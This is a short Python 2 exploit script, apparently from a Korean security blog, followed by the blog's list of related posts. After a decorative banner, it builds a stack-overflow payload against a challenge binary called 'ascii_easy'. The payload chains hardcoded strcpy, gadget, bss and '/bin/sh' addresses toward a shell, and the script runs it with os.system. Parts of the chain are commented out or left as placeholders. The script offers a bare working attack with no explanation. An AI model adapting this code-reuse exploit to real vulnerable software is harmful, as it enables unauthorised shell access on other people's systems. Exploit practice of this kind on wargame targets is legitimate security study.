import struct
import os
print " ------------------------------------------------------------------------"
print " ######### ## ## ####### ## ### ######## ########"
print " ## ## ## ## ## ## ## ## ## ## "
print " ######### #### ####### ## ## ## ## ## "
print " ## ## ## ## ## ## ## ## ## "
print " ######### ## ## ## ####### ### ######## ## "
print " ------------------------------------------------------------------------"
p = lambda x : struct.pack("<L",x)
GOT_system = p(0xf7e66250)
PLT_strcpy = p(0x080483d0)
ctors = p(0x08049f14)
ppr = p(0x08048687)
payload = ""
payload += "a" * 172
payload += PLT_strcpy
payload += ppr
payload += p(0x0804a028) # bss[0]
payload += p(0xf7f85a2c) # /bin/sh
#payload += PLT_system
payload += "A" * 4
#payload += p(0x0804a028)
os.system("python -c \"print '" + payload + "'\" | ./ascii_easy")
'자료' 카테고리의 다른 글
비초기화 정적 변수의 오버플로우에 대한 Exploit의 제작기법(1) (0) | 2015.12.26 |
---|---|
[자료구조] Binary Search Tree(BST) (0) | 2015.12.12 |
[Python] Blind SQL Injection (0) | 2015.12.05 |
[자료구조] Stack (0) | 2015.12.05 |
Double Free Bug (1) | 2015.10.03 |